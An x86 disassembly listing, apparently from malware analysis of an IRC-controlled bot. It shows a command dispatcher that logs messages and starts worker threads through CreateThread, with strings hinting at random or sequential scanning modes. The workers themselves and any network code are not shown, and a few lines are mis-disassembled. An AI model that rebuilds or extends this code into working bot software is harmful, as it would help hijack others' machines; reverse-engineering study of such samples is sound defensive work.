		call	sub_41C650
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp-344h], eax
		jmp	loc_4075C8
; ---------------------------------------------------------------------------


loc_4074EE:				; CODE XREF: seg000:004074BCj
					; seg000:004074C1j
		cmp	[ebp-8FFh], bl
		jnz	short loc_407510
		cmp	[ebp-8FEh], bl
		jnz	short loc_407510
		cmp	[ebp-8EEh], bl
		jnz	short loc_407510
		push	offset unk_4313D4
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_407510:				; CODE XREF: seg000:004074F4j
					; seg000:004074FCj ...
		push	10h
		lea	eax, [ebp-2D8h]
		pop	edi
		push	eax
		lea	eax, [ebp-2F8h]
		push	eax
		mov	[ebp-2D8h], edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_4D1194
		mov	al, [ebp-8FFh]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2F4h], eax
		push	dword ptr [ebp-2F4h]
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp-484h]
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch
		cmp	[ebp-8EEh], bl
		jz	short loc_4075C2
		xor	eax, eax
		cmp	[ebp-8FFh], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-484h]
		push	eax
		call	sub_41C4E0
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	[ebp+2Fh], bl
		jle	short loc_4075B6


loc_407594:				; CODE XREF: seg000:004075B4j
		cmp	eax, ebx
		jz	short loc_4075B6
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-484h]
		push	30h
		push	eax
		call	sub_41C4E0
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_407594


loc_4075B6:				; CODE XREF: seg000:00407592j
					; seg000:00407596j
		mov	dword ptr [ebp-344h], 1
		jmp	short loc_4075C8
; ---------------------------------------------------------------------------


loc_4075C2:				; CODE XREF: seg000:0040756Cj
		mov	[ebp-344h], ebx


loc_4075C8:				; CODE XREF: seg000:004074E9j
					; seg000:004075C0j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-88h]
		mov	[ebp-374h], eax
		mov	eax, [ebp-4]
		mov	[ebp-34Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-348h], eax
		mov	edi, 80h
		lea	eax, [ebp-474h]
		push	edi
		push	eax
		call	sub_41C030
		mov	esi, [ebp+esi-78h]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407619


loc_407606:				; CODE XREF: seg000:0040763Cj
		push	esi


loc_407607:				; CODE XREF: seg000:00407626j
		lea	eax, [ebp-3F4h]
		push	edi
		push	eax
		call	sub_41C030
		add	esp, 0Ch
		jmp	short loc_407644
; ---------------------------------------------------------------------------


loc_407619:				; CODE XREF: seg000:00407604j
		mov	eax, [ebp+8]
		cmp	eax, ebx
		jz	short loc_407628
		cmp	byte ptr [eax],	23h
		jnz	short loc_407628
		push	eax
		jmp	short loc_407607
; ---------------------------------------------------------------------------


loc_407628:				; CODE XREF: seg000:0040761Ej
					; seg000:00407623j
		mov	esi, offset aO1_0 ; "#o1"
		push	offset byte_443398
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407606
		mov	[ebp-3F4h], bl


loc_407644:				; CODE XREF: seg000:00407617j
		cmp	[ebp-344h], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_407656
		mov	eax, offset aSequential	; "Sequential"


loc_407656:				; CODE XREF: seg000:0040764Fj
		push	dword ptr [ebp-358h]
		lea	ecx, [ebp-484h]
		push	dword ptr [ebp-368h]
		push	dword ptr [ebp-36Ch]
		push	dword ptr [ebp-370h]
		push	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_43136C
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Bh
		push	eax
		call	sub_40B00E
		add	esp, 2Ch
		mov	[ebp-364h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-484h]
		push	ebx
		push	eax
		push	(offset	loc_40C247+1)
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-364h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_4076E4


loc_4076CE:				; CODE XREF: seg000:004076E2j
		cmp	[ebp-340h], ebx
		jnz	loc_40820E
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_4076CE
; ---------------------------------------------------------------------------


loc_4076E4:				; CODE XREF: seg000:004076CCj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_431334
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_4076F5:				; CODE XREF: seg000:004069BEj
					; seg000:004069D5j
		push	dword ptr [ebp+18h]
		call	sub_40AA54
		push	edi
		mov	[ebp-4E0h], eax
		call	sub_41BE29
		push	dword ptr [ebp+8]
		mov	[ebp-4F0h], eax
		call	sub_41BE29
		push	dword ptr [ebp+20h]
		mov	[ebp-4ECh], eax
		call	sub_41BE29
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-88h]
		mov	[ebp-4E8h], eax
		lea	eax, [ebp-570h]
		mov	[ebp-574h], esi
		push	eax
		call	sub_41BCA0
		add	esp, 1Ch
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-4D8h], edi
		push	dword ptr [ebp-4ECh]
		mov	[ebp-4D4h], eax
		push	dword ptr [ebp-4F0h]
		push	dword ptr [ebp-4E8h]
		push	dword ptr [ebp-4E0h]
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_4312E4
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Bh
		push	eax
		call	sub_40B00E
		add	esp, 24h
		mov	[ebp-4E4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-574h]
		push	ebx
		push	eax
		push	offset sub_40C665
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-4E4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_4077EA


loc_4077D4:				; CODE XREF: seg000:004077E8j
		cmp	[ebp-4D0h], ebx
		jnz	loc_403ED6
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_4077D4
; ---------------------------------------------------------------------------


loc_4077EA:				; CODE XREF: seg000:004077D2j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4312A8
		jmp	loc_403EC7
; ---------------------------------------------------------------------------


loc_4077FB:				; CODE XREF: seg000:00406981j
					; seg000:00406998j
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_444138[eax], bl
		jz	loc_4097B8
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	edi
		call	sub_41B890
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_41B890
		push	dword ptr [ebp+10h]
		add	esi, eax
		call	sub_41B890
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BFB0
		mov	esi, eax
		lea	eax, [ebp-2C0h]
		push	esi
		push	offset dword_43129C
		push	eax
		call	sub_41BF36
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jle	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_4097B8
		push	ebx
		lea	eax, [ebp-2C0h]
		push	ebx
		push	eax
		push	edi
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44412C[eax]
		call	sub_4099D2
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_443F20[eax], 73h
		jnz	loc_4097B8
		push	esi
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_444138
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"


loc_4078EB:				; CODE XREF: seg000:004079EDj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		jmp	loc_4040A4
; ---------------------------------------------------------------------------


loc_407915:				; CODE XREF: seg000:00406953j
					; seg000:0040696Aj
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_444138[eax], bl
		jz	loc_4097B8
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	edi
		call	sub_41B890
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_41B890
		push	dword ptr [ebp+10h]
		add	esi, eax
		call	sub_41B890
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BFB0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jle	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_4097B8
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44412C[eax]
		call	sub_4099D2
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_443F20[eax], 73h
		jnz	loc_4097B8
		push	esi
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_444138
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"
		jmp	loc_4078EB
; ---------------------------------------------------------------------------


loc_4079F2:				; CODE XREF: seg000:00406925j
					; seg000:0040693Cj
		push	dword ptr [ebp+18h]
		call	ds:dword_4D1230
		push	edi
		mov	[ebp-680h], eax
		call	sub_41BE29
		push	dword ptr [ebp+8]
		mov	[ebp-690h], eax
		call	sub_41BE29
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-88h]
		mov	[ebp-688h], eax
		lea	eax, [ebp-710h]
		mov	[ebp-714h], esi
		push	eax
		call	sub_41BCA0
		add	esp, 14h
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-678h], edi
		push	dword ptr [ebp-688h]
		mov	[ebp-674h], eax
		push	dword ptr [ebp-690h]
		push	dword ptr [ebp-680h]
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_431240
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Bh
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-684h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-714h]
		push	ebx
		push	eax
		push	offset sub_40C574
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-684h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_407AD4


loc_407ABE:				; CODE XREF: seg000:00407AD2j
		cmp	[ebp-670h], ebx
		jnz	loc_403ED6
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_407ABE
; ---------------------------------------------------------------------------


loc_407AD4:				; CODE XREF: seg000:00407ABCj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_431334
		jmp	loc_403EC7
; ---------------------------------------------------------------------------


loc_407AE5:				; CODE XREF: seg000:004068F7j
					; seg000:0040690Ej
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		mov	[ebp-112Ch], eax
		push	7Fh
		lea	eax, [ebp-1230h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp+8]
		call	sub_41BE29
		push	dword ptr [ebp-88h]
		mov	esi, [ebp+0Ch]
		mov	[ebp-1130h], eax
		lea	eax, [ebp-11B0h]
		push	80h
		push	eax
		mov	[ebp-1238h], esi
		call	sub_41C030
		mov	eax, [ebp-8]
		add	esp, 20h
		mov	edi, [ebp-4]
		mov	[ebp-111Ch], eax
		push	dword ptr [ebp-1130h]
		lea	eax, [ebp-1230h]
		mov	[ebp-1120h], edi
		push	eax
		push	dword ptr [ebp-112Ch]
		push	esi
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_431204
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	18h
		push	eax
		call	sub_40B00E
		add	esp, 24h
		mov	[ebp-1128h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1238h]
		push	ebx
		push	eax
		push	offset sub_4109AC
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-1128h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_407BCE


loc_407BB8:				; CODE XREF: seg000:00407BCCj
		cmp	[ebp-1118h], ebx
		jnz	loc_403ED6
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_407BB8
; ---------------------------------------------------------------------------


loc_407BCE:				; CODE XREF: seg000:00407BB6j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4311C0
		jmp	loc_403EC7
; ---------------------------------------------------------------------------


loc_407BDF:				; CODE XREF: seg000:004068C9j
					; seg000:004068E0j
		push	0FFh
		lea	eax, [ebp-2878h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	0FFh
		lea	eax, [ebp-2778h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp+8]
		mov	[ebp-2674h], ebx
		call	sub_41BE29
		mov	[ebp-2670h], eax
		mov	eax, [ebp+esi-80h]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407C38
		push	10h
		push	ebx
		push	eax
		call	sub_41C45E
		add	esp, 0Ch
		mov	[ebp-2668h], eax
		jmp	short loc_407C3E
; ---------------------------------------------------------------------------


loc_407C38:				; CODE XREF: seg000:00407C22j
		mov	[ebp-2668h], ebx


loc_407C3E:				; CODE XREF: seg000:00407C36j
		mov	esi, [ebp+esi-7Ch]
		cmp	esi, ebx
		jz	short loc_407C55
		push	esi
		call	sub_41BE29
		pop	ecx
		mov	[ebp-266Ch], eax
		jmp	short loc_407C5B
; ---------------------------------------------------------------------------


loc_407C55:				; CODE XREF: seg000:00407C44j
		mov	[ebp-266Ch], ebx


loc_407C5B:				; CODE XREF: seg000:00407C53j
		movzx	eax, byte ptr [ebp-8FBh]
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-88h]
		mov	[ebp-2664h], eax
		lea	eax, [ebp-28F8h]
		mov	[ebp-28FCh], esi
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp-4]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-265Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-2660h], eax
		lea	eax, [ebp-2C0h]
		push	offset unk_431194
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp-2C0h]
		push	1Dh
		push	eax
		call	sub_40B00E
		add	esp, 28h
		mov	[ebp-2678h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-28FCh]
		push	ebx
		push	eax
		push	(offset	loc_416A01+1)
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-2678h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_407D09


loc_407CF3:				; CODE XREF: seg000:00407D07j
		cmp	[ebp-2658h], ebx
		jnz	loc_407202
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_407CF3
; ---------------------------------------------------------------------------


loc_407D09:				; CODE XREF: seg000:00407CF1j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_431154
		jmp	loc_4071F3
; ---------------------------------------------------------------------------


loc_407D1A:				; CODE XREF: seg000:0040689Bj
					; seg000:004068B2j
		push	7Fh
		lea	eax, [ebp-3490h]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3410h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3390h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3310h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp+8]
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-328Ch], eax
		mov	eax, [ebp-8]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-3288h], eax
		lea	eax, [ebp-2C0h]
		mov	[ebp-3494h], esi
		push	offset unk_431118
		push	eax
		call	sub_41BF36
		add	esp, 44h
		lea	eax, [ebp-2C0h]
		push	ebx
		push	12h
		push	eax
		call	sub_40B00E
		add	esp, 0Ch
		mov	[ebp-3290h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3494h]
		push	ebx
		push	eax
		push	offset word_41508E
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-3290h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_407DF1


loc_407DDB:				; CODE XREF: seg000:00407DEFj
		cmp	[ebp-3284h], ebx
		jnz	loc_407202
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_407DDB
; ---------------------------------------------------------------------------


loc_407DF1:				; CODE XREF: seg000:00407DD9j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4310E0
		jmp	loc_4071F3
; ---------------------------------------------------------------------------


loc_407E02:				; CODE XREF: seg000:0040676Ej
					; seg000:00406785j
		push	7Fh
		lea	eax, [ebp-3068h]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-2FE8h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-2F68h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-2EE8h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp+8]
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-2E64h], eax
		mov	eax, [ebp-8]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-2E60h], eax
		lea	eax, [ebp-2C0h]
		mov	[ebp-306Ch], esi
		push	offset unk_4310B0
		push	eax
		call	sub_41BF36
		add	esp, 44h
		lea	eax, [ebp-2C0h]
		push	ebx
		push	0Eh
		push	eax
		call	sub_40B00E
		add	esp, 0Ch
		mov	[ebp-2E68h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-306Ch]
		push	ebx
		push	eax
		push	offset dword_413DC8
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-2E68h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_407ED9


loc_407EC3:				; CODE XREF: seg000:00407ED7j
		cmp	[ebp-2E5Ch], ebx
		jnz	loc_407202
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_407EC3
; ---------------------------------------------------------------------------


loc_407ED9:				; CODE XREF: seg000:00407EC1j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_431078
		jmp	loc_4071F3
; ---------------------------------------------------------------------------


loc_407EEA:				; CODE XREF: seg000:00406645j
					; seg000:0040665Cj ...
		push	7Fh
		lea	eax, [ebp-3CE4h]
		pop	esi
		push	esi
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3C64h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3BE4h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-3B64h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		push	20h
		lea	eax, [ebp-3AE4h]
		push	dword ptr [ebp+10h]
		push	eax
		call	sub_41BCA0
		push	dword ptr [ebp+8]
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-3A64h], eax
		mov	eax, [ebp-8]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-3A60h], eax
		lea	eax, [ebp-2C0h]
		mov	[ebp-3CECh], esi
		push	offset unk_431048
		push	eax
		call	sub_41BF36
		add	esp, 50h
		lea	eax, [ebp-2C0h]
		push	ebx
		push	0Dh
		push	eax
		call	sub_40B00E
		add	esp, 0Ch
		mov	[ebp-3CE8h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3CECh]
		push	ebx
		push	eax
		push	offset byte_413055
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-3CE8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_407FD2


loc_407FBC:				; CODE XREF: seg000:00407FD0j
		cmp	[ebp-3A5Ch], ebx
		jnz	loc_407202
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_407FBC
; ---------------------------------------------------------------------------


loc_407FD2:				; CODE XREF: seg000:00407FBAj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_431010
		jmp	loc_4071F3
; ---------------------------------------------------------------------------


loc_407FE3:				; CODE XREF: seg000:00406617j
					; seg000:0040662Ej
		push	7Fh
		lea	eax, [ebp-1778h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	edi
		call	sub_41BE29
		push	3Fh
		mov	[ebp-1628h], eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-16F8h]
		push	eax
		call	sub_41BCA0
		mov	esi, [ebp+esi-80h]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_40802E
		push	3Fh
		lea	eax, [ebp-16B8h]
		push	esi
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_40802E:				; CODE XREF: seg000:0040801Aj
		lea	eax, [ebp-16F8h]
		mov	dword ptr [ebp-1624h], 1
		push	eax
		lea	eax, [ebp-1778h]
		push	dword ptr [ebp-1628h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_430FE0
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Fh
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-1620h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-177Ch]
		push	ebx
		push	eax
		push	offset sub_4018A1
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-1620h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_4080BA


loc_4080A4:				; CODE XREF: seg000:004080B8j
		cmp	[ebp-161Ch], ebx
		jnz	loc_406C65
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_4080A4
; ---------------------------------------------------------------------------


loc_4080BA:				; CODE XREF: seg000:004080A2j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_430FA4
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_4080CB:				; CODE XREF: seg000:004065D7j
					; seg000:004065EEj
		push	edi
		call	sub_41BE29
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-1D64h], eax
		jle	loc_4081B8
		push	dword ptr [ebp+18h]
		mov	esi, 80h
		lea	eax, [ebp-1EECh]
		push	esi
		push	eax
		call	sub_41C030
		xor	eax, eax
		cmp	[ebp-8EEh], bl
		push	dword ptr [ebp-88h]
		setnz	al
		mov	[ebp-1D60h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-1EF0h], eax
		lea	eax, [ebp-1DECh]
		push	esi
		push	eax
		call	sub_41C030
		mov	eax, [ebp-4]
		push	edi
		push	dword ptr [ebp+18h]
		mov	[ebp-1D5Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-1D58h], eax
		push	offset unk_430F78
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		push	ebx
		lea	eax, [ebp-2C0h]
		push	15h
		push	eax
		call	sub_40B00E
		add	esp, 38h
		mov	[ebp-1D6Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1EF0h]
		push	ebx
		push	eax
		push	offset dword_41349C
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-1D6Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_4081A7


loc_408195:				; CODE XREF: seg000:004081A5j
		cmp	[ebp-1D54h], ebx
		jnz	short loc_40820E
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_408195
; ---------------------------------------------------------------------------


loc_4081A7:				; CODE XREF: seg000:00408193j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_430F40
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_4081B8:				; CODE XREF: seg000:004080DAj
		push	offset unk_430F08
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_4081C2:				; CODE XREF: seg000:004065A9j
					; seg000:004065C0j
		push	edi
		push	dword ptr [ebp+18h]
		call	near ptr 0B00000h
		adc	al, [ebp+571F74C0h]
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+18h]
		push	offset unk_430EE4
		push	200h
		push	eax
		call	sub_41C030


loc_4081EA:				; CODE XREF: seg000:004040CEj
		add	esp, 14h
		jmp	short loc_40820E
; ---------------------------------------------------------------------------
		push	offset dword_430ED8
		call	sub_4188F8
		push	eax
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 10h


loc_40820E:				; CODE XREF: seg000:00403C01j
					; seg000:004049C3j ...
		cmp	[ebp-8], ebx
		jnz	loc_40833C
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]


loc_40822B:				; CODE XREF: seg000:0040721Dj
		call	sub_4099D2
		add	esp, 14h
		jmp	loc_40833C
; ---------------------------------------------------------------------------


loc_408238:				; CODE XREF: seg000:0040657Bj
					; seg000:00406592j
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-3F04h]
		push	104h
		push	eax
		call	sub_41C030
		add	esp, 0Ch
		cmp	[ebp-0Ch], ebx
		jz	short loc_408272
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408272
		push	eax
		lea	eax, [ebp-3E00h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_408272:				; CODE XREF: seg000:00408252j
					; seg000:00408261j
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-3F84h]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp+0Ch]
		mov	[ebp-3F88h], eax
		mov	eax, [ebp-4]
		mov	[ebp-3CF8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-3CF4h], eax
		lea	eax, [ebp-3E00h]
		push	eax
		lea	eax, [ebp-3F04h]
		push	eax
		push	offset unk_430EA8
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		push	ebx
		lea	eax, [ebp-2C0h]
		push	24h
		push	eax
		call	sub_40B00E
		add	esp, 2Ch
		mov	[ebp-3CFCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3F88h]
		push	ebx
		push	eax
		push	offset byte_4172AD
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-3CFCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_408321


loc_40830F:				; CODE XREF: seg000:0040831Fj
		cmp	[ebp-3CF0h], ebx
		jnz	short loc_40833C
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_40830F
; ---------------------------------------------------------------------------


loc_408321:				; CODE XREF: seg000:0040830Dj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_430E6C


loc_40832D:				; CODE XREF: seg000:00402551j
					; seg000:00402562j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_40833C:				; CODE XREF: seg000:004022E3j
					; seg000:0040243Dj ...
		push	1
		pop	esi
		jmp	loc_406C89
; ---------------------------------------------------------------------------


loc_408344:				; CODE XREF: seg000:0040654Dj
					; seg000:00406564j
		push	44h
